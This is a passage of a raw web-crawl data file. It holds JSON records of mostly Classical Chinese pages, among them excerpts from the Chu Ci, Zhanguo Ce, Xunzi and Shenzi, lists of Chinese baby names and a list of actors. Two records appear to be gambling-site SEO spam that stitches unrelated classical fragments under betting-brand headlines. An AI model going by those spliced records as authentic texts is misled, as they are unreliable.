罔象而自浮。祝融戒而還衡兮,騰告鸞鳥迎宓妃。張咸池奏承雲兮,二女御九韶歌。使湘靈鼓瑟兮,令海若舞馮夷。玄螭蟲象並出進兮,形蟉虬而逶蛇。雌蜺便娟以增撓兮,鸞鳥軒翥而翔飛。音樂博衍無終極兮,焉乃逝以俳佪。舒并節以馳騖兮,逴絕垠乎寒門。軼迅風於清源兮,從顓頊乎增冰。歷玄冥以邪徑兮,乘間維以反顧。召黔嬴而見之兮,為余先乎平路。經營四荒兮,周流六漠。上至列兮,降望大壑。下崢嶸而無地兮,上寥廓而無天。視儵忽而無見兮,聽惝怳而無聞。超無為以至清兮,與泰初而為鄰。","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/xn--5rtnx620bw5s.tw\/i\/i01\/05.htm","date":"2017-09-26T19:44:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818696681.94\/warc\/CC-MAIN-20170926193955-20170926213955-00446.warc.gz","language":"lzh","language_score":0.5690128803,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.5690128803253174, \"zxx_Latn_score\": 0.07198085635900497, \"nan_Hani_score\": 0.06623052060604095, \"und_Xsux_score\": 0.02171396091580391, \"und_Glag_score\": 0.017639435827732086, \"und_Grek_score\": 0.017280254513025284, \"und_Kits_score\": 0.01581363007426262, \"und_Cans_score\": 0.015790874138474464, \"und_Tang_score\": 0.011785216629505157, \"und_Yiii_score\": 0.011711063794791698}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.15,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷八 ‧ 齊策一\n秦伐魏\n秦伐魏,陳軫合三晉而東,謂齊王曰:「古之王者之伐也,欲以正天下而立功名,以為後世也。今齊、楚、燕、趙、韓、梁六國之遞甚也,不足以立功名,適足以強秦而自弱也,非山東之上計也。能危山東者,強秦也。不憂強秦,而遞相罷弱,而兩歸其國于秦,此臣之所以為山東之患。天下為秦相割,秦曾不出力;天下為秦相烹,秦曾不出薪。何秦之智而山東之愚耶?願大王之察也。\n古之五帝、三王、五伯之伐也,伐不道者。今秦伐天下不然,必欲反之,主必死辱,民必死虜。今韓、梁之目未嘗乾,而齊民獨不也,非齊親而韓、梁疏也,齊遠秦而韓、梁近。今齊將近矣!今秦欲攻梁絳、安邑,秦得絳、安邑以東下河,必表裏河而東攻齊,舉齊屬之海,南面而孤楚、韓、梁,北向而孤燕、趙,齊無所出其計矣。願王熟慮之!\n今三晉已合矣,復為兄弟,約而出銳師以戍梁絳、安邑,此萬世之計也。齊非以銳師合三晉,必有後憂。三晉合,秦必不敢攻梁,必南攻楚。楚、秦構難,三晉怒齊不與己也,必東攻齊。此臣之所謂齊必有大憂,不如急以兵合于三晉。」\n齊王敬諾,果以兵合于三晉。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/124.htm","date":"2018-01-19T19:16:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084888113.39\/warc\/CC-MAIN-20180119184632-20180119204632-00125.warc.gz","language":"lzh","language_score":0.5768583417,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5768583416938782, \"cmn_Hani_score\": 0.346425324678421, \"nan_Hani_score\": 0.0429297499358654, \"wuu_Hani_score\": 0.023428482934832573}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.692,"perplexity_score":500.0,"cluster_detection":1} +{"text":"苍山洱海,蝴蝶泉边,大理的风花雪月在静谧中悠远,美得不经意却那么沁人心脾。\n想去0\n去过0\n昆明导游 曲靖导游 玉溪导游 保山导游 昭通导游 丽江导游 普洱导游 临沧导游 楚雄导游 红河导游 文山导游 西双版纳导游 德宏导游 怒江导游 迪庆导游","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/dali.cncn.com\/daoyou\/","date":"2018-06-25T11:52:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867666.97\/warc\/CC-MAIN-20180625111632-20180625131632-00255.warc.gz","language":"lzh","language_score":0.5074337721,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.5074337720870972, \"cmn_Hani_score\": 0.31820428371429443, \"nan_Hani_score\": 0.11062563955783844, \"yue_Hani_score\": 0.057204656302928925}","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.404,"perplexity_score":500.0,"cluster_detection":1} +{"text":"这篇主题是女孩新颖有涵养的名字。富有诗意的好姓名,能够传达自己思想,可是大家起名时的时候常常感觉,父母给宝宝起个适合的名字还是需要很多脑细胞的,姓容的女孩名字洋气到底应该怎么选?\n本站给你提供最全面的名字大全,免费起名网名字由本站的专业顾问程中华、覃柄淋易经专家结合周易理论来进行综合起名,本站提供的名字不是其它站随机组合的名字而来。姓名大全网为父母们提供优质的在线取名服务。\n姓容的女宝宝名字,如果你的宝宝姓容,可以也来挑选吧。还有跟多姓名一起关注吧!\n最好听的女孩子名字容清婉 容姝璐 容静玲 容馨茹 容若淇 容琳丽 容燕亚 容玲秀 容雪碧 容飞烨 容妍云 容忆茗 容柔双 容映彦 容芳俪 容柳永 容钧旭 容鑫复 容瑛婷 容婷洪 容婵惠 容悦迎 容凤兆 容婉眉 容云若 容兰宝 容君卓 容岚斯 容香千 容佳梓 容怡开 容斐世 容嘉迈 容荣瑾 容灵娅 容葵瑶 容霜麒 容虹芯 容琴文 容蝶健 容捷廷 容丽友 容莹佳 容玉梅 容红剑 容洁现 容文时 容镜娟 容翠娜 容安霞 容青锦 容娇珈 容昕鑫 容美琪 容梅茜 容秀颖 容英丽 容莉奕 容茹南 容穸燕 容月婷 容娜菲 容倩钰 容珊圣 容薇曹 容萍光 容妙昊 容寒蕴 容熙心 容影霞 容媚盛 容皎映 容琦涵 容竹茵 容彤欣 容婕艳 容媛渲 容漫翔 容霞学 容盈静 容卿仪 容令芬 容香琳 容春涛 容珊秋 容乐皙 容妮珍 容琳文 容佳力 容少桦 容锌加 容忻吉 容茧爱 容凯冰 容锦悖 容华翱 容颖娥 容霖妹 容语延 容琼辰 容筠妍 容俊玲 容艳茹 容婧雪 容冉婧 容钰怡 容欣芝 容惜英 容舒华 容珍改 容寒悦 容怀玉 容艳茁 容林飞 容颖彦 容雯娇 容芝锳 容以含 容碧花 容铭倩 容霭容 容一童 容丹水 容曼洋 容茜相 容舒兰 容桃竹 容芝秀 容琪旋 容芹琪 容丝凝 容烟雯 容梦珊 容雅媛 容娟洁 容惠翠 容茗迪 容芸敏 容宸欢 容泽悦 容洲楠 容晓怜 容思柳 容贝璇 容咏瑛 容延鑫 容其雅 容丹巧 容樱家 容婕水 容桑玉 容念家 容紫正 容婉欣 容含明 容翠贞 容如芝 容怜翊 容菲红 容智琼 容子萍 容淳琪 容芳哲 容海芳 容之萱 容问鱼 容夏瑶 容熙佩 容甜语 容馨英 容韵山 容若炀 容睿璇 容语琦 容万榆 容璐双 容媛桐 容琦茵 容旋黛 容凌欣 容江竹 容裳花 容奇菲 容红萱 容岚蓝 容松烟 容伦莲 容巧春 容槐秋 容春昕 容宓紫 容悦乐 容君凝 容永寒 容铎黛 容银青 容崤艳 容梅君 容汀芳 容渝安 容凤靖 容湘问 容长琪 容莉幻 容曼慕 容翠婉 容聪绮 容桂美 容媛翠 容琳自 容跃依 容舒晴 容玉静 容金舞 容灿冰 容裴冬 容志柏 容紫仙 容倩丹 容宵映 容照忆 容雅娜 容盈笑 容建念 容悦南 容蕾素 容雨怡 容春美 容羽楠 容美晴 容于枫 容琴花 容英微 容芬蝶 容艳盈 容泽月 容素露 容莉妙 容妍云 容炫芸 容敏曼 容林雪 容观柳 容晓瑜 容景嘉 容之芬 容燕 容子以 容南慧 容熙冰 容超雪 容喜萍 容贺江 容闻春 容明舒 容庆珺 容晗露 容表阳 容鸣霜 容卿绿 容伟巧 容全彩 容南璐 容冰南 容采芍 容惠丹 容理歆 容玎红 容启凤 容国清 容翎诗 容淑缘 容利嫣 容成梅 容愉玉 容会雪 容煊兰 容萱可 容兰思 容道韵 容小莉 容大佳 容凤虹 容示娇 容琦江 容定雨 容诗万 容窕雁 容鉴如 容汝涵 容宏碧 容馨向 容怡姗 容乾妮 容红幽 容慧燕 容梦芊 容婧月 容莹新 容昕芷 容铭醉 容焕琦 容澜柔 容冬凌 容荔谷 容君采 容献怡 容超纹 容票虞 容懿绿 容海妍 容雪听 容松云 容肇惜 容学盼 容李灵 容昱痴 容妙娅 容胜琼 容智缘 容绍香 容莫觅 容和珊 容亦亦 容允萍 容灵柔 容珍林 容仙芳 容依静 容静钰 容萍妍","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/www.mingzi.cn\/nvhai\/451812.html","date":"2018-07-22T04:53:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676593010.88\/warc\/CC-MAIN-20180722041752-20180722061752-00328.warc.gz","language":"lzh","language_score":0.6943656206,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6943656206130981, \"cmn_Hani_score\": 0.2565653622150421, \"jpn_Jpan_score\": 0.037227727472782135}","num_words":334,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.731,"perplexity_score":500.0,"cluster_detection":1} +{"text":"发布时间:2018-09-04 23:41编辑:明星八卦浏览(126)\n王来森 王晨森 王心森 王勋森 王世森 王胤森 王峥森 王楚森 王浚森 王绍森 王德森 王凌森 王厚森 王潇森 王善森 王悦森 王亮森 王久森 王虎森 王桐森 王昱森 王城森 王仁森 王洛森 王汉森 王礼森 王人森 王彤森 王望森 王如森 王承森 王传森 王水森 王焕森 王友森 王钦森 王裕森 王富森 王雪森 王佑森 王秋森 王声森 王道森 王忻森 王有森 王蔚森 王秀森 王烁森 王昭森 王易森 王禹森 王恺森 王灵森 王力森 王高森 王士森 王雅森 王义森 王孝森 王骐森 王修森 王栩森 王利森 王晓森 王添森 王鸣森 王知森 王玉森 王远森 王鑫森 王鹤森 王朋森 王泊森 王长森 王仕森 王朗森 王亦森 王屹森 王琪森 王光森 王懿森 王铭森 王以森 王予森 王亚森 王波森 王济森 王月森 王宗森 王积森 王雄森 王思森 王崇森 王琛森 王劲森 王炜森 王运森 王小森 王欣森 王津森 王学森 王延森 王森森 王飞森 王恒森 王沐森 王孟森 王为森 王宁森 王强森 王镇森 王琳森 王宜森 王震森 王和森 王彦森 王岚森 王凡森 王相森 王丁。\n转载请注明来源:国人最感激胡总的是什么王来森 王晨森 王心勋世","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/www.yuanlaidewo.com\/mingxingbagua\/64.html","date":"2018-12-15T02:43:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826686.8\/warc\/CC-MAIN-20181215014028-20181215040028-00098.warc.gz","language":"lzh","language_score":0.975763917,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.9757639169692993, \"cmn_Hani_score\": 0.016512656584382057}","num_words":125,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.982,"perplexity_score":500.0,"cluster_detection":1} +{"text":"君術策四\n古者君臣之間,相信如父子,相愛如兄弟。朝廷之中,優遊悅懌,歡然相得而無間。知無所不言,言無所不盡;開心平意,表裏洞達,終身而不見其隙。當此之時,天下之人出身以事君,委命於上而無所憂懼,安神定氣以觀天下之政,蕩然肆志,有所欲為,而上不見忌。其所據者甚堅而無疑,是以士大夫皆敢進而擅天下之大功。至於後世,君臣相虞,皆有猜防之憂,君不敢以其誠心致諸其臣,而臣亦不敢直己以行事。二者相與齟齬而不相信,上下相顧,鰓鰓然而不能以自安,而尚何暇及於天下之利害?故天下之事,每每擾敗而無所成就。臣竊傷之,而以為其蔽在於防禁之太深而督責之太急。\n夫古之聖人,至嚴而有所至寬,至易而有所至險,使天下有所易信而有所不可測,用之各當其處而不失節,是以天下畏其嚴而樂其寬。至於後世之君,徒知天下之不可以甚寬也,而用之其君臣之際,使其公卿大臣終日憂懼,不得安意肆志以自盡於其上,而以為畏威。徒知天下之不可甚嚴也,而用之其法律之事,使其天下之官吏欺其長上,得以苟免取容,不畏天子之法,而以為行惠。蓋其所以用之之術甚悖而不順者,至於如此。\n夫天下之人,上自百官,而下至於庶民,其為奸安可窮盡?而天子者,以其一身寄乎其中。論其眾寡之勢,則天下至眾,而天子至寡。論其智詐巧偽之術,則天下之眾,固必有過於天子者。吾欲臨之以天子之威,則彼有畏憚而不敢言。多為之堤防,以禦其變詐,則彼之智,將有以出於堤防之所不能及。是以古之聖人,推之以至誠,而禦之以無威;容之以至寬,而待之以至易。以君子長者之心待天下之士,而不防其為詐,談笑議論,無所不及,以開其歡心。故天下士大夫皆欣然而入於其中,有所愧恥而不忍為欺詐之行,力行果斷而無憂懼不敢之意。其所任用,雖其兄弟朋友之親,而不顧徇私之名;其所誅戮,雖其仇怨睚眥之人,而不恤報怨之嫌。何者?君臣相信之篤,此所謂至嚴而有所至寬者也。然至大吏縱橫放肆,犯法而無所忌,天下之所指目,律令之所當取,則雖天子有所不可輒釋,使之一入而不可解,而後天下知有所畏,此所謂至易而有所至險。二者其事不同,而相與為用。\n夫是以至寬而天下無頹惰靡迤之風;至險而君臣無猜防逼迫之慮。夫惟能通其君臣之歡而盡行其刑法之所禁,而後可以及此也。\n|↑返回頂部|\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%90%9B%E8%A1%93%E7%AD%96%E5%9B%9B","date":"2019-08-25T09:33:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027323246.35\/warc\/CC-MAIN-20190825084751-20190825110751-00080.warc.gz","language":"lzh","language_score":0.6315613389,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6315613389015198, \"cmn_Hani_score\": 0.32465115189552307, \"nan_Hani_score\": 0.03187936171889305}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.776,"perplexity_score":500.0,"cluster_detection":1} +{"text":"bet体育万博徐敬惠疫情倒逼寿险经营走线上线下融合新模式\n六年,秦围邯郸,赵告急楚,楚遣将军景阳救赵。七年,至新中。秦兵去。十二年,秦昭王卒,楚王使春申君吊祠于秦。十六年,秦庄襄王卒,秦王赵政立。二十二年,与诸侯共伐秦,不利而去。楚东徙都寿春,命曰郢。\n躁公享国十四年。居受寝。葬悼公南。其元年,彗星见。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n子谓颜渊,曰:\"惜乎!吾见其进也,未见其止也。\"\n是时平阳主寡居,当用列侯尚主。主与左右议长安中列侯可为夫者,皆言大将军可。主笑曰:\"此出吾家,常使令骑从我出入耳,柰何用为夫乎?\"左右侍御者曰:\"今大将军姊为皇后,三子为侯,富贵振动天下,主何以易之乎?\"於是主乃许之。言之皇后,令白之武帝,乃诏卫将军尚平阳公主焉。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/8qh1a.zxsou.net\/cmbxs\/","date":"2020-03-28T20:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493120.15\/warc\/CC-MAIN-20200328194743-20200328224743-00209.warc.gz","language":"lzh","language_score":0.4233444333,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4233444333076477, \"cmn_Hani_score\": 0.42084553837776184, \"nan_Hani_score\": 0.06403021514415741, \"wuu_Hani_score\": 0.038326140493154526, \"jpn_Jpan_score\": 0.013322674669325352, \"yue_Hani_score\": 0.011851991526782513}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.537,"perplexity_score":500.0,"cluster_detection":1} +{"text":"性惡 2: 故枸木必將待檃栝烝矯然後直;鈍金必將待礱厲然後利;今人之性惡,必將待師法然後正,得禮義然後治,今人無師法,則偏險而不正;無禮義,則悖亂而不治,古者聖王以人性惡,以為偏險而不正,悖亂而不治是以為之起禮義,制法度,以矯飾人之情性而正之,以擾化人之情性而導之也,始皆出於治,合於道者也。今人之化師法,積文學,道禮義者為君子;縱性情,安恣孳,而違禮義者為小人。用此觀之,人之性惡明矣,其善者偽也。","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/en.wikibooks.org\/wiki\/Classical_Chinese\/Lesson_3","date":"2020-04-06T06:10:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371618784.58\/warc\/CC-MAIN-20200406035448-20200406065948-00539.warc.gz","language":"lzh","language_score":0.5760452747,"language_script":"Hani","minhash_cluster_size":21,"top_langs":"{\"lzh_Hani_score\": 0.5760452747344971, \"cmn_Hani_score\": 0.3600809872150421, \"nan_Hani_score\": 0.03213728591799736, \"wuu_Hani_score\": 0.018373923376202583}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.83,"perplexity_score":500.0,"cluster_detection":1} +{"text":"新濠app北京怀柔启动重点建设40项工程加速中国影都建设\n公冶长,齐人,字子长。\n惠文王生十九年而立。立二年,初行钱。有新生婴兒曰\"秦且王\"。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n太史公曰:舜之德可谓至矣!禅位於夏,而後世血食者历三代。及楚灭陈,而田常得政於齐,卒为建国,百世不绝,苗裔兹兹,有土者不乏焉。至禹,於周则杞,微甚,不足数也。楚惠王灭杞,其後越王句践兴。\n颜无繇字路。路者,颜回父,父子尝各异时事孔子。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/ppu0e.falucn.cn\/hhzyb\/460884.html","date":"2020-06-02T23:24:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00485.warc.gz","language":"lzh","language_score":0.4951971173,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4951971173286438, \"cmn_Hani_score\": 0.3688513934612274, \"yue_Hani_score\": 0.03267163038253784, \"nan_Hani_score\": 0.03258844092488289, \"jpn_Jpan_score\": 0.012794415466487408, \"wuu_Hani_score\": 0.011979988776147366}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n伏柯海 伏君 伏重上 伏轩荆 伏利明 伏朝军 伏宛颦 伏开烨 伏乃柱 伏奇杰 伏木金 伏柯锋 伏柯锐 伏毅恒 伏一恒 伏润民 伏宗泽 伏佰岩 伏佰焱 伏秣儒 伏沫如 伏泽儒 伏缦儒 伏镘如 伏镘儒 伏柘儒 伏柯如 伏瀛 伏若愚 伏盈儒 伏春霖 伏弈儒 伏柘如 伏柘亚 伏音绚 伏丹桐 伏音栎 伏思宇 伏梅君 伏音儒 伏徐磊 伏善恩 伏晓曼 伏千皓 伏志强 伏毒 伏心彤 伏屹伟 伏小陇 伏广金 伏立兵 伏城霖 伏容枝 伏学敏 伏德 伏静轩 伏灵轩 伏吉弦 伏艾灵 伏倍庆 伏育庆 伏升荣 伏志余 伏兴国 伏兴佳 伏秋同 伏博轩 伏胜男 伏博毅 伏可为 伏高 伏海 伏子毅 伏海洋 伏子昭 伏子一 伏峥 伏铮 伏祥斌 伏志云 伏西 伏兮 伏广瑾 伏小林 伏高山 伏志远 伏桂富 伏晓云 伏桂宝 伏春山 伏清波 伏桂林 伏大江 伏晓明 伏清水 伏清海 伏清江 伏天山 伏天龙 伏清山 伏牛山 伏炳昆 伏欣乐 伏锦涛 伏锦浩 伏锦泽 伏钧泽 伏昱谦 伏羿芊 伏昱芊 伏云焕 伏民 伏罡强 伏熙缘 伏茜缘 伏希缘 伏兮缘 伏曦圆 伏曦源 伏曦缘 伏缘 伏逸知 伏毅之 伏易之 伏浩洋 伏孝霖 伏肖霖 伏梓君 伏紫君 伏正鸣 伏正辉 伏铎 伏正 伏征军 伏罡成 伏欣芮 伏广成 伏欣睿 伏长江 伏小月 伏小戈 伏小未 伏小卉 伏小可 伏彡可 伏小亓 伏夕竹 伏弋竹 伏弋舟 伏弋弛 伏逸铮 伏毅峥 伏逸源 伏毅源 伏虹霏 伏薪羽 伏红霖 伏柯瑾 伏柯欣 伏珂欣 伏珂海 伏珂玮 伏奕谦 伏弈谦 伏翌谦 伏羿谦 伏占宥 伏湛有 伏广爱 伏科羽 伏滇兰 伏胜兰 伏梅香 伏广志 伏安心 伏安欣 伏安西 伏珏 伏耀山 伏月如 伏辛夷 伏耀宇 伏耀林 伏耀 伏金衢 伏胜斌 伏海华 伏圣凯 伏皓飞 伏皓童 伏皓洋 伏皓茜 伏皓汐 伏皓曦 伏皓夕 伏皓严 伏皓岩 伏皓爽 伏鸿镔 伏珂瑾 伏昱霖 伏昱林 伏昱阳 伏清鑫 伏海纳 伏兵慧 伏秦源 伏鎏 伏翼含 伏智军 伏饶 伏慧垣 伏慧援 伏慧缘 伏慧原 伏慧剡 伏慧焱 伏慧琰 伏慧延 伏慧岩 伏慧炎 伏慧泉 伏慧智 伏亦菲 伏庆贤 伏艳清 伏硕嘉 伏泰印 伏奎 伏子轩 伏舫 伏涛 伏良玖 伏慧源 伏慧鄄 伏慧烨 伏素华 伏学平 伏俜 伏娉 伏泽诚 伏青山 伏青云 伏杨 伏铭贤 伏丽如 伏东旺 伏镇鼎 伏振鼎 伏景斋 伏玉磊 伏艳敏 伏一凡 伏玉茗 伏钰萁 伏钰琪 伏钰琦 伏钰颀 伏珏颀 伏茜芸 伏蓓霓 伏伶珏 伏小瑞 伏红启 伏军仲 伏旦 伏芮宁 伏家宁 伏家菲 伏曼菲 伏容菲 伏红尘 伏宵彤 伏荐彤 伏齐彤 伏一彤 伏萧合 伏萧齐 伏萧部 伏萧芸 伏名秦 伏名紫 伏名家 伏萧名 伏小名 伏家名 伏名彤 伏名语 伏家瑞 伏家寐 伏芮语 伏家语 伏美迪 伏美和 伏美雨 伏美于 伏美誉 伏美昱 伏美语 伏美珍","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.ooo681.cn\/show_A43.aspx","date":"2020-07-07T02:14:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655891640.22\/warc\/CC-MAIN-20200707013816-20200707043816-00492.warc.gz","language":"lzh","language_score":0.892970562,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.8929705619812012, \"cmn_Hani_score\": 0.07501498609781265, \"nan_Hani_score\": 0.026510220021009445}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.893,"perplexity_score":500.0,"cluster_detection":1} +{"text":"﹤首页 > > 子部 > 诸子 > 慎子 > 知忠\n知忠\n亂世之中。亡國之臣。非獨無忠臣也。治國之中。顯君之臣。非獨能盡忠也。治國之人。忠不偏於其君。亂世之人。道不偏於其臣。然而治亂之世。同世有忠道之人。臣之欲忠者不絕世。而君未得寧其上。無遇比干子胥之忠。而毀瘁主君於闇墨之中。遂染溺滅名而死。由是觀之。忠未足以救亂世。而適足以重非。何以識其然也。曰。父有良子而舜放瞽叟。桀有忠臣而過盈天下。然則孝子不生慈父之家。而忠臣不生聖君之下。故明主之使其臣也。忠不得過職。而職不得過官。是以過修於身。而下不敢以善驕矜守職之吏。人務其治。而莫敢淫偷其事。官正以敬其業。和順以事其上。如此。則至治已。亡國之君。非一人之罪也。治國之君。非一人之力也。將治亂。在乎賢使任職而不在於忠也。故智盈天下。澤及其君。忠盈天下。害及其國。故桀之所以亡。堯不能以為存。然而堯有不勝之善。而桀有運非之名。則得人與失人也。故廊廟之材。蓋非一木之枝也。粹白之裘。蓋非一狐之皮也。治亂安危。存亡榮辱之施。非一人之力也。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/m.guoxuedashi.com\/a\/516iizz\/14119p.html","date":"2020-09-29T23:08:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402093104.90\/warc\/CC-MAIN-20200929221433-20200930011433-00766.warc.gz","language":"lzh","language_score":0.7733625174,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.7733625173568726, \"cmn_Hani_score\": 0.11574021726846695, \"nan_Hani_score\": 0.034826744347810745, \"jpn_Jpan_score\": 0.022641202434897423, \"zxx_Latn_score\": 0.013194040395319462}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.773,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n汪明荃 森美 餘德丞 黎諾懿 林盛斌 張秀文 黃智賢 姚子羚 何遠東 黃建東 楊潮凱 何浩文 區永權 Patrick Sir 鄭詩君 陸永 李施嬅 海俊傑 譚俊彥 陳山聰 黃嘉雯 王菲 陳煒 湯洛雯 呂慧儀 張景淳 王君馨 鍾舒漫 糖妹 黃美棋 林奕匡 鄧佩儀 林淑敏 許家傑 黃智雯 趙希洛 商天娥 吳業坤 少爺佔 唐劍康 何雁詩 周志康 陸浩明 林穎彤 丁子朗 吳若希 戴祖儀 鄧卓殷 譚嘉儀 謝東閔 陳曉華 郭子豪 黃庭鋒 孔德賢 鄧智堅 黃子桐 鄧美欣\n林師傑 周志康 謝文欣 孔德賢 王虹茵\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n黃智雯 袁偉豪 陳智燊 黃淑儀 孫慧雪 郭子豪 林秀怡 林景程 周梓盈 鍾志光 利穎怡 周志康 李國麟 梁舜燕 蘇恩磁 張明偉 郭田葰 魯振順 曾偉權 徐玟晴 譚坤倫 趙永洪 袁鎮業 關浩揚 周麗欣 李璧琦 郭千瑜 許家傑 張漢斌 曾慧雲 蕭徽勇 吳偉豪 曹思詩 招浩明 蘇麗明 陳建文 梁證嘉 王致迪 鄭恕峯 李日升 譚永浩 董敬文 張智軒 陳靖雲 蕭凱欣 廖麗麗 潘冠霖 沈愛琳 何佩珉 馮秀華 馬蹄露 布偉傑\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 